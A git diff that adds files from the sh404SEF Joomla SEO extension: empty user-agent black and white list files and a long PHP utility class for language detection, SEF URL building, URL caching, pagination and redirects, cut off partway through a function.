b/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_uAgent_black_list.dat @@ -0,0 +1 @@ +# sh404SEF User agent string black list file \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_uAgent_white_list.dat b/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_uAgent_white_list.dat new file mode 100644 index 00000000..09e10e0b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_uAgent_white_list.dat @@ -0,0 +1 @@ +# sh404SEF User agent string white list file \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.class.php b/deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.class.php new file mode 100644 index 00000000..e11212c6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.class.php @@ -0,0 +1,2627 @@ +currentLanguageShortTag; + if (!shIsMultilingual()) + return $shortCode; + + $database = ShlDbHelper::getDb(); + // check if param query has previously been processed + $determitLanguage = 1; + $newVisitorAction = "browser"; + if ($newVisitorAction == "browser" && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) + { + // no language chooses - assume from browser configuration + // language negotiation by Kochin Chang, June 16, 2004 + // retrieve active languages from database + $active_lang = null; + $activeLanguages = shGetActiveLanguages(); + if (count($activeLanguages) == 0) + { + return $shortCode; + } + foreach ($activeLanguages as $lang) + { + $active_lang[] = $lang->iso; + } + // figure out which language to use + $browserLang = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); + foreach ($browserLang as $lang) + { + $shortLang = JString::substr($lang, 0, 2); + if (in_array($lang, $active_lang)) + { + $client_lang = $lang; + break; + } + if (in_array($shortLang, $active_lang)) + { + $client_lang = $shortLang; + break; + } + } + // if language is still blank then use first active language! + if (empty($client_lang)) + { + $client_lang = Sh404sefHelperLanguage::getDefaultLanguageSef(); + } + } + elseif ($newVisitorAction == "joomfish") + { + // This list is ordered already! + $activeLanguages = shGetActiveLanguages(); + if (count($activeLanguages) == 0) + { + return $shortCode; + } + else + { + $client_lang = Sh404sefHelperLanguage::getDefaultLanguageSef(); + } + + } + else + {// otherwise default use site default language + $activeLanguages = shGetActiveLanguages(); + if (count($activeLanguages) == 0) + { + return $shortCode; + } + foreach ($activeLanguages as $lang) + { + if ($lang->code == Sh404sefFactory::getPageInfo()->currentLanguageTag) + { + $client_lang = $lang->iso; + break; + } + } + // if language is still blank then use first active language! + if ($client_lang == "") + { + $client_lang = Sh404sefHelperLanguage::getDefaultLanguageSef(); + } + } + return $client_lang; +} + +function shGetCookieLanguage() +{ + $jfCookie = JRequest::getVar('jfcookie', null, 'COOKIE'); + if (isset($jfCookie["lang"]) && $jfCookie["lang"] != "") + { + $lang = $jfCookie["lang"]; + } + else + { + $lang = ''; + } + return $lang; +} + +// 1.2.4.t 10/08/2007 12:17:37 return false if not multilingual +// deprecated +function shIsMultilingual() +{ + static $shIsMultiLingual = null; + + if (is_null($shIsMultiLingual)) + { + // joomfish detection: + $conf = JFactory::getConfig(); + $shIsMultiLingual = !is_null($conf->get('multilingual_support', null)) ? 'joomfish' : false; + + // falang + if ($shIsMultiLingual === false) + { + if (class_exists('plgSystemFalangdriver')) + { + $falangPluginRecord = JPluginHelper::getPlugin('system', 'falangdriver'); + if (!empty($falangPluginRecord)) + { + $dispatcher = ShlSystem_factory::dispatcher(); + $falangPlugin = new plgSystemFalangdriver($dispatcher, (array) ($falangPluginRecord)); + $shIsMultiLingual = $falangPlugin->isFalangDriverActive() ? 'falang' : false; + } + } + } + + // joomla builtin + if (empty($shIsMultiLingual)) + { + jimport('joomla.language.helper'); + $languages = JLanguageHelper::getLanguages(); + if (count($languages) > 1) + { + $shIsMultiLingual = 'joomla'; + } + } + } + return $shIsMultiLingual; + +} + +// 1.2.4.t 10/08/2007 12:17:37 return true if param is default language +function shIsDefaultLang($langName) +{ + return ($langName == Sh404sefHelperLanguage::getDefaultLanguageTag() || $langName == '*'); +} + +/** + * Get list of front-end available langauges + * + * @return unknown + */ +function shGetFrontEndActiveLanguages() +{ + static $shLangs = null; + + if (is_null($shLangs)) + { + $shLangs = array(); + jimport('joomla.language.helper'); + $languages = JLanguageHelper::getLanguages(); + if (!empty($languages)) + { + foreach ($languages as $i => &$language) + { + // Do not display language without frontend UI + if (!JLanguage::exists($language->lang_code)) + { + unset($languages[$i]); + } + } + foreach ($languages as $language) + { + $shLang = new StdClass(); + $shLang->iso = $language->sef; + if (empty($shLang->iso)) + { + $shLang->iso = substr($language->lang_code, 0, 2); + } + $shLang->code = $language->lang_code; + $shLangs[] = $shLang; + } + } + } + + return $shLangs; + +} + +// utility function to return list of available languages / isolate from JFish/Joomla compat issues +function shGetActiveLanguages() +{ + + $mainframe = JFactory::getApplication(); + + static $shActiveLanguages = null; // cache this, to reduce DB queries + if (!is_null($shActiveLanguages)) + return $shActiveLanguages; + + $shKind = shIsMultilingual(); + switch ($shKind) + { + case 'joomfish': + $languages = JoomFishManager::getActiveLanguages(); + if (!empty($languages)) + { + foreach ($languages as $language) + { + $shLang = new stdClass(); + $shLang->code = $language->code; + $shLang->iso = $language->shortcode; + $shActiveLanguages[] = $shLang; + } + } + else + $shKind = ''; + break; + case 'falang': + case 'joomla': + jimport('joomla.language.helper'); + $languages = JLanguageHelper::getLanguages(); + if (!empty($languages)) + { + foreach ($languages as $language) + { + $shLang = new stdClass(); + $shLang->code = $language->lang_code; + $shLang->iso = $language->sef; + if (empty($shLang->iso)) + { + $shLang->iso = substr($language->lang_code, 0, 2); + } + $shActiveLanguages[] = $shLang; + } + } + else + $shKind = ''; + break; + } + if (empty($shKind)) + { + // not multilingual + $shActiveLanguages = shGetFrontEndActiveLanguages(); + } + return $shActiveLanguages; +} + +function shAdjustToRewriteMode($url) +{ + return $url; +} + +function shFinalizeURL($url) +{ + // V 1.2.4.s hack to workaround Virtuemart/SearchEngines issue with cookie check + // V 1.2.4.t fixed bug, was checking for vmcchk instead of vmchk + if (shIsSearchEngine() && (strpos($url, 'vmchk') !== false)) + { + $url = str_replace('vmchk/', '', $url); // remove check, + //cookie will be forced if user agent is searchengine + } + $url = str_replace('&', '&', $url); // when Joomla wil turn that into & we are sur we won't have &amp; + return $url; +} + +// V 1.2.4.p compatibility function with SEFAdvance +function sefencode($string) +{ + return titleToLocation($string); +} + +function titleToLocation(&$title) +{ + $sefConfig = Sh404sefFactory::getConfig(); + $title = JString::trim($title); + $debug = 0; + if ($debug) + $t[] = $title; + $shRep = $sefConfig->shGetReplacements(); + if (!empty($shRep)) + { + foreach ($shRep as $from => $to) + { + $title = str_replace($from, $to, $title); + } + } + if ($debug) + $t[] = $title; + $shStrip = $sefConfig->shGetStripCharList(); + if (!empty($shStrip)) + $title = str_replace($shStrip, '', $title); + if ($debug) + $t[] = $title; + // remove spaces + $title = ShlSystem_Strings::pr('/[\s]+/iu', $sefConfig->replacement, $title); + if ($debug) + $t[] = $title; + $title = str_replace('\'', $sefConfig->replacement, $title); + $title = str_replace('"', $sefConfig->replacement, $title); + // V x strip # as it breaks anchor management + $title = str_replace('#', $sefConfig->replacement, $title); + // remove question marks + $title = str_replace('?', $sefConfig->replacement, $title); + if ($debug) + $t[] = $title; + $title = str_replace('\\', $sefConfig->replacement, $title); + if ($debug) + $t[] = $title; + // remove duplicate replacement chars + if (!empty($sefConfig->replacement)) // V x protect/allow empty + $title = ShlSystem_Strings::pr('/' . preg_quote($sefConfig->replacement) . '{2,}/u', $sefConfig->replacement, $title); + if ($debug) + $t[] = $title; + $title = JString::trim($title, str_replace('|', '', $sefConfig->friendlytrim)); // V 1.2.4.t add SEF URL trimming of user set characters + $title = $sefConfig->LowerCase ? JString::strtolower($title) : $title; // V w 27/08/2007 13:11:48 + if ($debug) + $t[] = $title; + if ($debug && strpos($t[0], '\'') !== false) + { + var_dump($t); + die(); + } + return $title; +} + +// V x utility 01/09/2007 22:18:55 function to remove mosmsg var from url +function shCleanUpMosMsg($string) +{ + return ShlSystem_Strings::pr('/(&|\?)mosmsg=[^&]*/i', '', $string); +} + +// V x utility 01/09/2007 22:18:55 function to return mosmsg var from url +function shGetMosMsg($string) +{ + $matches = array(); + $result = preg_match('/(&|\?)mosmsg=[^&]*/i', $string, $matches); + if (!empty($matches)) + return JString::trim($matches[0], '&?'); + else + return ''; +} + +// V 1.2.4.q utility function to clean language and pagination info from url +function shCleanUpPag($string) +{ + $shTempString = preg_replace('/(&|\?)limit=[^&]*/i', '', $string); + $shTempString = preg_replace('/(&|\?)limitstart=[^&]*/i', '', $shTempString); + return $shTempString; +} + +// V 1.2.4.t utility function to clean language from url +function shCleanUpLang($string) +{ + return preg_replace('/(&|\?)lang=[a-zA-Z]{2}/i', '', $string); +} + +// V 1.2.4.q utility function to clean language and pagination info from url +function shCleanUpLangAndPag($string) +{ + $shTempString = shCleanUpLang($string); + $shTempString = shCleanUpPag($shTempString); + return $shTempString; +} + +// V 1.2.4.t utility function to clean anchor from url +function shCleanUpAnchor($string) +{ + $bits = explode('#', $string); + return $bits[0]; +} + +/** + * @deprecated Will be removed in 4.x. No replacemend, has been empty shell for long time + */ +function shIncludeLanguageFile() +{ +} + +function shGETGarbageCollect() +{ + // V 1.2.4.m moved to main component from plugins + // builds up a string using all remaining GET parameters, to be appended to the URL without any sef transformation + // those variables passed litterally must be removed from $string as well, so that they are not stored in DB + global $shGETVars; + $sefConfig = Sh404sefFactory::getConfig(); + if (!$sefConfig->shAppendRemainingGETVars || empty($shGETVars)) + return ''; + $ret = ''; + ksort($shGETVars); + foreach ($shGETVars as $param => $value) + { + if (is_array($value)) + { + foreach ($value as $k => $v) + { + $ret .= '&' . $param . '[' . $k . ']=' . $v; + } + } + else + { + $ret .= '&' . $param . '=' . $value; + } + + } + return $ret; +} + +function shRebuildNonSefString($string) +{ + // V 1.2.4.m moved to main component from plugins + // rebuild a non-sef string, removing all GET vars that were not turned into SEF + // as we do not want to store them in DB + + global $shRebuildNonSef; + $sefConfig = &Sh404sefFactory::getConfig(); + if (!$sefConfig->shAppendRemainingGETVars || empty($shRebuildNonSef)) + return $string; + $shNewString = ''; + if (!empty($shRebuildNonSef)) + { + foreach ($shRebuildNonSef as $param) + { + // need to sort, and still place option in first pos. + if (strpos($param, 'sh404SEF_title=') !== false) + $param = str_replace('sh404SEF_title=', 'title=', $param); + $shNewString .= $param; + } + $ret = Sh404sefHelperUrl::sortUrl('index.php?' . JString::ltrim($shNewString, '&')); + } + return $ret; +} + +function shRemoveFromGETVarsList($paramName) +{ + global $shGETVars, $shRebuildNonSef; + + $sefConfig = Sh404sefFactory::getConfig(); + if (!$sefConfig->shAppendRemainingGETVars) + return null; + if (!empty($paramName)) + { + if (isset($shGETVars[$paramName])) + { + $shValue = $shGETVars[$paramName]; + if (is_array($shValue)) + { + // array handling, fix provided by VinhCV + foreach ($shValue as $value) + { + $shRebuildNonSef[] = '&' . $paramName . '[]=' . $value; + } + } + else + { + $shRebuildNonSef[] = '&' . $paramName . '=' . $shValue; + } // build up a non-sef string with the GET vars used to + // build the SEF string. This string will be the one stored in db instead of + // the full, original one + unset($shGETVars[@$paramName]); + } + } +} + +function shAddToGETVarsList($paramName, $paramValue) +{ + // V 1.2.4.m + global $shGETVars, $shRebuildNonSef; + if (empty($paramName)) + return; + $shGETVars[$paramName] = $paramValue; + // check and remove from $shRebuildNonSef, in case this param was previously added to the list, using shRemoveFromGETVarsList + if (!empty($shRebuildNonSef)) + { + $indexFound = -1; + $index = -1; + foreach ($shRebuildNonSef as $item) + { + $index++; + if ($item == '&' . $paramName . '=' . $paramValue) + { + $indexFound = $index; + break; + } + } + if ($indexFound > -1) + { + unset($shRebuildNonSef[$indexFound]); + } + } +} + +function shComputeItemidString($nonSefUrl, &$title, $shLangName) +{ + + $sefConfig = &shRouter::shGetConfig(); + + $shItemidString = ''; + + $shHomePageFlag = shIsHomepage($nonSefUrl); + + if (!$shHomePageFlag) + { + // we may have found that this is homepage, so we msut return an empty string + // do something about that Itemid thing + if (!preg_match('/Itemid=[0-9]+/i', $nonSefUrl)) + { + // if no Itemid in non-sef URL + // V 1.2.4.t moved back here + $shCurrentItemid = JRequest::getInt('Itemid'); + if ($sefConfig->shInsertGlobalItemidIfNone && !empty($shCurrentItemid)) + { + $nonSefUrl .= '&Itemid=' . $shCurrentItemid; + ; // append current Itemid + $Itemid = $shCurrentItemid; + shAddToGETVarsList('Itemid', $Itemid); // V 1.2.4.m + } + + $shItemidString = ''; + if ($sefConfig->shAlwaysInsertItemid && (!empty($Itemid) || !empty($shCurrentItemid))) + { + $shItemidString = JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX') . $sefConfig->replacement + . (empty($Itemid) ? $shCurrentItemid : $Itemid); + } + } + else + { // if Itemid in non-sef URL + $shItemidString = $sefConfig->shAlwaysInsertItemid + ? JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX') . $sefConfig->replacement . Sh404sefHelperUrl::getUrlVar($nonSefUrl, 'Itemid') + : ''; + } + + } + + return $shItemidString; +} + +function shFinalizePlugin($string, $title, &$shAppendString, $shItemidString, $limit, $limitstart, $shLangName, $showall = null, + $suppressPagination = false) +{ + // V 1.2.4.s + global $shGETVars; + if (empty($shItemidString)) + { + $shItemidString = shComputeItemidString($string, $title, $shLangName); + } + if (!empty($shItemidString)) + { + $title[] = $shItemidString; // V 1.2.4.m + } + // stitch back additional parameters, not sef-ified + $shAppendString .= shGETGarbageCollect(); // add automatically all GET variables that had not been used already + if (!empty($shAppendString)) + $shAppendString = '?' . JString::ltrim($shAppendString, '&'); + // don't add to $string, otherwise it will be stored in the DB + return sef_404::sefGetLocation(shRebuildNonSefString($string), $title, null, (isset($limit) ? @$limit : null), + (isset($limitstart) ? @$limitstart : null), (isset($shLangName) ? @$shLangName : null), (isset($showall) ? @$showall : null), + $suppressPagination); +} + +function shInitializePlugin($lang, &$shLangName, &$shLangIso, $option) +{ + + $conf = JFactory::getConfig(); + $configDefaultLanguage = $conf->get('language'); + + $shLangName = empty($lang) ? Sh404sefFactory::getPageInfo()->currentLanguageTag : Sh404sefHelperLanguage::getLangTagFromUrlCode($lang); + $shLangIso = (shTranslateUrl($option, $shLangName)) + ? (isset($lang) ? $lang : Sh404sefHelperLanguage::getUrlCodeFromTag(Sh404sefFactory::getPageInfo()->currentLanguageTag)) + : (isset($configDefaultLanguage) ? Sh404sefHelperLanguage::getUrlCodeFromTag($configDefaultLanguage) + : Sh404sefHelperLanguage::getUrlCodeFromTag(Sh404sefFactory::getPageInfo()->currentLanguageTag)); + if (strpos($shLangIso, '_') !== false) + { + //11/08/2007 14:30:16 mambo compat + $shTemp = explode('_', $shLangIso); + $shLangIso = $shTemp[0]; + } + + // reset pageid creation : the plugin must turn it on by itself + shMustCreatePageId('set', false); + + // added protection : do not SEF if component is not installed. Do not attempt to build SEF URL + // if component is not installed, or else plugin may try to read from comp DB tables. This will cause DB table names + // to be displayed + return !sh404SEF_CHECK_COMP_IS_INSTALLED + || (sh404SEF_CHECK_COMP_IS_INSTALLED + && shFileExists(sh404SEF_ABS_PATH . 'components/' . $option . '/' . str_replace('com_', '', $option) . '.php')); +} + +function shLoadPluginLanguage($pluginName, $language, $defaultString, $path = '') +{ + // V 1.2.4.m + global $sh_LANG; + + // load the Language File + $path = JString::rtrim($path, DIRECTORY_SEPARATOR); + $path = JString::rtrim($path, '/') . '/'; + $path = $path == '/' ? sh404SEF_ADMIN_ABS_PATH . 'language/plugins/' : $path; + if (shFileExists($path . $pluginName . '.php')) + { + include_once($path . $pluginName . '.php'); + } + else + JError::RaiseWarning(500, 'sh404SEF - missing language file for plugin ' . $pluginName . '.'); + + if (!isset($sh_LANG[$language][$defaultString])) + return 'en'; + else + return $language; +} + +function shInsertIsoCodeInUrl($compName, $shLang = null) +{ + // V 1.2.4.m + + $sefConfig = &Sh404sefFactory::getConfig(); + $shLang = empty($shLang) ? Sh404sefFactory::getPageInfo()->currentLanguageTag : $shLang; // V 1.2.4.q + if (empty($compName) || !$sefConfig->shInsertLanguageCode // if no compname or global param is off + || $sefConfig->shLangInsertCodeList[$shLang] == 2 // set to not insertcode + || ($sefConfig->shLangInsertCodeList[$shLang] == 0 && Sh404sefHelperLanguage::getDefaultLanguageTag() == $shLang + && !Sh404sefHelperLanguage::getInsertLangCodeInDefaultLanguage()) // or set to default + ) // but this is default language + return false; + $compName = str_replace('com_', '', $compName); + return !in_array($compName, $sefConfig->notInsertIsoCodeList); +} + +function shTranslateUrl($compName, $shLang = null) +{ + // V 1.2.4.m // V 1.2.4.q added $shLang param + + // temporarily disable ability to not translate + // until 1.7+ multi-lingual options are sorted out + return true; + + $sefConfig = &Sh404sefFactory::getConfig(); + + $shLang = empty($shLang) ? Sh404sefFactory::getPageInfo()->currentLanguageTag : $shLang; + if (empty($compName) || !$sefConfig->shTranslateURL || $sefConfig->shLangTranslateList[$shLang] == 2) // set to not translate + return false; + $compName = str_replace('com_', '', $compName); + $result = !in_array($compName, $sefConfig->notTranslateURLList); + return $result; +} + +// V 1.2.4.q returns true if current page is home page. +function shIsCurrentPageHome() +{ + + $currentPage = Sh404sefHelperUrl::sortUrl( + ShlSystem_Strings::pr('/(&|\?)lang=[a-zA-Z]{2,3}/iu', '', empty($_SERVER['QUERY_STRING']) ? '' : $_SERVER['QUERY_STRING'])); // V 1.2.4.t + $currentPage = JString::ltrim(str_replace('index.php', '', $currentPage), '/'); + $currentPage = JString::ltrim($currentPage, '?'); + $shHomePage = ShlSystem_Strings::pr('/(&|\?)lang=[a-zA-Z]{2,3}/iu', '', Sh404sefFactory::getPageInfo()->homeLink); + $shHomePage = JString::ltrim(str_replace('index.php', '', $shHomePage), '/'); + $shHomePage = JString::ltrim($shHomePage, '?'); + return $currentPage == $shHomePage; +} + +function shUrlEncode($path) +{ + $ret = $path; + if (!empty($path)) + { + $bits = explode('/', $path); + $enc = array(); + if (count($bits)) + { + foreach ($bits as $key => $value) + { + $enc[$key] = rawurlencode($value); + } + $ret = implode($enc, '/'); + } + } + return $ret; +} +function shUrlDecode($path) +{ + $ret = $path; + if (!empty($path)) + { + $bits = explode('/', $path); + $dec = array(); + if (count($bits)) + { + foreach ($bits as $key => $value) + { + $dec[$key] = rawurldecode($value); + } + $ret = implode($dec, '/'); + } + } + return $ret; +} + +// returns default items per page from menu items params. menu item selected by its id taken from a URL +function shGetDefaultDisplayNumFromURL($url, $includeBlogLinks = false) +{ + + $menuItemid = Sh404sefHelperUrl::getUrlVar($url, 'Itemid'); + return shGetDefaultDisplayNum($menuItemid, $url, $fromSession = true, $includeBlogLinks); +} + +/** + * Compared to shGetDefaultDisplayNum, this function only reads default + * num items per page out of configuration and url requested, regardless of values + * stored in session + * + * @param $url + * @return unknown_type + */ +function shGetDefaultDisplayNumFromConfig($url, $includeBlogLinks = false) +{ + + $menuItemid = Sh404sefHelperUrl::getUrlVar($url, 'Itemid'); + return shGetDefaultDisplayNum($menuItemid, $url, $fromSession = false, $includeBlogLinks); + +} + +// returns default items per page from menu items params. menu item selected by its id taken from a URL +function shGetDefaultDisplayNum($menuItemid, $url, $fromSession = false, $includeBlogLinks = false) +{ + + $app = JFactory::getApplication(); + + // default value is general configuration list length param + $ret = $app->getCfg('list_limit', 10); + + // get elements of the url + $option = Sh404sefHelperUrl::getUrlVar($url, 'option'); + $layout = Sh404sefHelperUrl::getUrlVar($url, 'layout'); + if (empty($layout)) + { + $layout = 'default'; + } + $view = Sh404sefHelperUrl::getUrlVar($url, 'view'); + + // if there is a menu item, we can try read more params + if (!empty($menuItemid)) + { + + // itemid, try read params from the menu item + $menu = JFactory::getApplication()->getMenu(); + $menuItem = $menu->getItem($menuItemid); // load menu item from DB + if (empty($menuItem)) + return $ret; + // if none, default + jimport('joomla.html.parameter'); + + // Load the parameters. Merge Global and Menu Item params into new object + $currentOption = JRequest::getCmd('option'); + $params = new JRegistry($menuItem->params); // get params from menu item + if (!empty($currentOption)) + { + $appParams = $app->getParams(); + $params->merge($appParams); + } + + // layout = blog and frontpage + if (($option == 'com_content' && $layout == 'blog') || ($option == 'com_content' && $view == 'featured')) + { + $num_leading_articles = $params->get('num_leading_articles'); + $num_intro_articles = $params->get('num_intro_articles'); + //adjust limit and listLimit for page calculation as blog views include + //# of links in the limit value, while it should not be included for + // page number calculation + $num_links = $includeBlogLinks ? $params->get('num_links') : 0; + + $ret = $num_leading_articles + $num_intro_articles + $num_links; // calculate how many items on a page + return $ret; + } + + // elements with a display_num parameter + $displayNum = intval($params->get('display_num')); + $ret = !empty($displayNum) ? $displayNum : $ret; + } + + if ($fromSession) + { + // now handle special cases + if ($option == 'com_content' && $layout != 'blog' && ($view == 'category' || $view == 'section')) + { + $limit = $app->getUserStateFromRequest('com_content.sh.' . $view . '.' . $layout . '.limit', 'limit', null); + if (!is_null($limit)) + { + return $limit; + } + } + + if ($option == 'com_contact') + { + $limit = $app->getUserState($option . '.' . $view . '.limit'); + if (!is_null($limit)) + { + return $limit; + } + } + + if ($option == 'com_weblinks') + { + $limit = $app->getUserState($option . '.limit'); + if (!is_null($limit)) + { + return $limit; + } + } + } + + // return calculated value + return $ret; +} + +function getSefUrlFromDatabase($url, &$sefString) +{ + + try + { + $result = ShlDbHelper::selectObject('#__sh404sef_urls', array('oldurl', 'dateadd'), array('newurl' => $url)); + + if (!empty($result)) + { + $sefString = $result->oldurl; + if (empty($result->oldurl)) + { + return sh404SEF_URLTYPE_404; + } + return $result->dateadd == '0000-00-00' ? sh404SEF_URLTYPE_AUTO : sh404SEF_URLTYPE_CUSTOM; + } + + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + return sh404SEF_URLTYPE_NONE; +} + +// V 1.2.4.t check both cache and DB +function shGetSefURLFromCacheOrDB($string, &$sefString) +{ + $sefConfig = Sh404sefFactory::getConfig(); + if (empty($string)) + return sh404SEF_URLTYPE_NONE; + $sefString = ''; + $urlType = sh404SEF_URLTYPE_NONE; + if ($sefConfig->shUseURLCache) + $urlType = Sh404sefHelperCache::getSefUrlFromCache($string, $sefString); + // Check if the url is already saved in the database. + if ($urlType == sh404SEF_URLTYPE_NONE) + { + $urlType = getSefUrlFromDatabase($string, $sefString); + if ($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) + return $urlType; + else + { + if ($sefConfig->shUseURLCache) + { + Sh404sefHelperCache::addSefUrlToCache($string, $sefString, $urlType); + } + } + } + return $urlType; +} + +// add URL to DB and cache. URL must no exists, this is insert, not update +function shAddSefUrlToDBAndCache($nonSefUrl, $sefString, $rank, $urlType) +{ + + $db = ShlDbHelper::getDb(); + $sefString = JString::ltrim($sefString, '/'); // V 1.2.4.t just in case you forgot to remove leading slash + switch ($urlType) + { + case sh404SEF_URLTYPE_AUTO: + $dateAdd = '0000-00-00'; + break; + case sh404SEF_URLTYPE_CUSTOM: + $dateAdd = date("Y-m-d"); + break; + case sh404SEF_URLTYPE_NONE: + return null; + break; + } + + try + { + + $query = ''; + if ($urlType == sh404SEF_URLTYPE_AUTO) + { + $result = ShlDbHelper::quoteQuery('select ??, ?? from ?? where ?? = ? and (?? = ? or ?? = ?)', + array('id', 'newurl', '#__sh404sef_urls', 'oldurl', 'newurl', 'newurl'), array($sefString, '', addslashes(urldecode($nonSefUrl)))) + ->loadObject(); + + if (!empty($result)) + { + // sef urls was found either as a 404 or as already existing, with also the same non-sef + if ($result->newurl == $nonSefUrl) + { + // url already in db, nothing to do + ShlSystem_Log::debug('sh404sef', 'url already in db, nothing to do'); + return true; + } + ShlDbHelper::update('#__sh404sef_urls', array('newurl' => addslashes(urldecode($nonSefUrl)), 'rank' => $rank, 'dateadd' => $dateAdd), + array('oldurl' => $sefString)); + + } + else + { + // another option: sef exists, but with another non-sef: that's a duplicate + // need to check that + $result = ShlDbHelper::selectObject('#__sh404sef_urls', array('id', 'newurl', 'rank'), + $db->quoteName('oldurl') . ' = ? and ' . $db->quoteName('newurl') . ' <> ?', + array($sefString, addslashes(urldecode($nonSefUrl))), array('rank' => 'desc')); + + if (!empty($result)) + { + // we found at least one identical SEF url, with another non-sef. Mark the new one as duplicate of the old one + $rank = $result->rank + 1; + } + + ShlDbHelper::insert('#__sh404sef_urls', array('oldurl' => $sefString, 'newurl' => $nonSefUrl, 'rank' => $rank, 'dateadd' => $dateAdd)); + + } + } + + // store new sef/non-sef pair in memory cache + Sh404sefHelperCache::addSefUrlToCache($nonSefUrl, $sefString, $urlType); + + // create shURL : get a shURL model, and ask url creation + $model = ShlMvcModel_Base::getInstance('pageids', 'Sh404sefModel'); + $model->createPageId($sefString, $nonSefUrl); + + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } +} + +/** + * Returns true if current sef url being created can have a shURL + * Can be set from within a plugin, otherwise default to false + * Reset to false upon each creation of a new sef url in shInitializePlugin() + * + * @param unknown_type $action + * @param unknown_type $value + * @return unknown + */ +function shMustCreatePageId($action = 'get', $value = false) +{ + + jimport('joomla.application.component.model'); + $model = ShlMvcModel_Base::getInstance('pageids', 'Sh404sefModel'); + $mustCreate = $model->mustCreatePageId($action, $value); + + return $mustCreate; +} + +// V 1.2.4.t build up a string with a page number +function shBuildPageNumberString($pagenum) +{ + $sefConfig = Sh404sefFactory::getConfig(); + + if ($sefConfig->pagetext && (false !== strpos($sefConfig->pagetext, '%s'))) + { + return str_replace('%s', $pagenum, $sefConfig->pagetext); + } + else + { + return $pagenum; + } +} + +function shReadFile($shFileName, $asString = false) +{ + $ret = array(); + if (is_readable($shFileName)) + { + $shFile = fOpen($shFileName, 'r'); + do + { + $shRead = fgets($shFile, 1024); + if (!empty($shRead) && JString::substr($shRead, 0, 1) != '#') + $ret[] = JString::trim(stripslashes($shRead)); + } + while (!feof($shFile)); + fclose($shFile); + } + if ($asString) + $ret = implode("\n", $ret); + return $ret; +} + +function shSaveFile($shFileName, $fileData) +{ + if (empty($shFileName)) + return; + $fileIsThere = file_exists($shFileName); + if (!$fileIsThere || ($fileIsThere && is_writable($shFileName))) + { + if (is_array($fileData)) + { + $fileData = implode("\n", $fileData); //make sure we write a string + } + $fileData = empty($fileData) ? '' : $fileData; + JFile::Write($shFileName, $fileData); + } +} + +/** + * utility function to obtain iso code from language name + * + * @deprecated Use Sh404sefHelperLanguage::getUrlCodeFromTag($langName) instead + * @param string $langName + * @return string + */ +function shGetIsoCodeFromName($langName) +{ + + ShlSystem_Log::debug('sh404sef', 'shGetIsoCodeFromName is deprecated, use Sh404sefHelperLanguage::getUrlCodeFromTag($langName) instead'); + return Sh404sefHelperLanguage::getUrlCodeFromTag($langName); +} + +/** + * utility function to obtain language name from iso code + * + * @deprecated Use Sh404sefHelperLanguage::getLangTagFromUrlCode($langName) instead + * @param string $langName + * @return string + */ +function shGetNameFromIsoCode($langCode) +{ + + ShlSystem_Log::debug('sh404sef', 'shGetNameFromIsoCode is deprecated, use Sh404sefHelperLanguage::getLangTagFromUrlCode() instead'); + return Sh404sefHelperLanguage::getLangTagFromUrlCode($langCode); +} + +// returns prefix for $option component, as per user settings +function shGetComponentPrefix($option) +{ + + if (empty($option)) + return ''; + $sefConfig = Sh404sefFactory::getConfig(); + $option = str_replace('com_', '', $option); + $prefix = ''; + $prefix = empty($sefConfig->defaultComponentStringList[@$option]) ? '' : $sefConfig->defaultComponentStringList[@$option]; + return $prefix; +} + +function shRedirect($url, $msg = '', $redirKind = '301', $msgType = 'message') +{ + + $mainframe = JFactory::getApplication(); + $sefConfig = &Sh404sefFactory::getConfig(); + + // specific filters + if (class_exists('InputFilter')) + { + $iFilter = new InputFilter(); + $url = $iFilter->process($url); + if (!empty($msg)) + { + $msg = $iFilter->process($msg); + } + + if ($iFilter->badAttributeValue(array('href', $url))) + { + $url = Sh404sefFactory::getPageInfo()->getDefaultFrontLiveSite(); + } + } + + // If the message exists, enqueue it + if (JString::trim($msg)) + { + $mainframe->enqueueMessage($msg, $msgType); + } + + // Persist messages if they exist + $queue = $mainframe->getMessageQueue(); + if (count($queue)) + { + $session = JFactory::getSession(); + $session->set('application.queue', $queue); + } + + $document = JFactory::getDocument(); + @ob_end_clean(); // clear output buffer + if (headers_sent()) + { + echo ''; + } + else + { + switch ($redirKind) + { + case '302': + $redirHeader = 'HTTP/1.1 302 Moved Temporarily'; + break; + case '303': + $redirHeader = 'HTTP/1.1 303 See Other'; + break; + default: + $redirHeader = 'HTTP/1.1 301 Moved Permanently'; + break; + } + header('Cache-Control: no-cache'); // prevent Firefox5+ and IE9+ to consider this a cacheable redirect + header($redirHeader); + header('Location: ' . $url); + header('Content-Type: text/html; charset=' . $document->getCharset()); + } + $mainframe->close(); +} + +function shCloseLogFile() +{ + + global $shLogger; + if (!empty($shLogger)) + { + $shLogger->log('Closing log file at shutdown' . "\n\n"); + if (!empty($shLogger->logFile)) + fClose($shLogger->logFile); + } +} + +function _log($text, $data = '') +{ + + ShlSystem_Log::debug('sh404sef', '_log is deprecated, used shlSystem_Log instead'); +} + +// J 1.5 : will put unused vars in uri query +function shRebuildVars($appendString, &$uri) +{ + if (empty($uri)) + return; + $string = empty($appendString) ? '' : JString::ltrim($appendString, '?'); + $uri->setQuery($string); +} + +function shFileExists($fileName) +{ + static $files = array(); + + $fileMD5 = md5($fileName); + if (!isset($files[$fileMD5])) + { + $files[$fileMD5] = file_exists($fileName); + } + return $files[$fileMD5]; +} + +function shGetMenuItemSsl($id) +{ + + if (empty($id)) + { + return 'ignore'; + } + $secure = 0; + $app = JFactory::getApplication(); + $menu = $app->getMenu(); + if (!empty($menu)) + 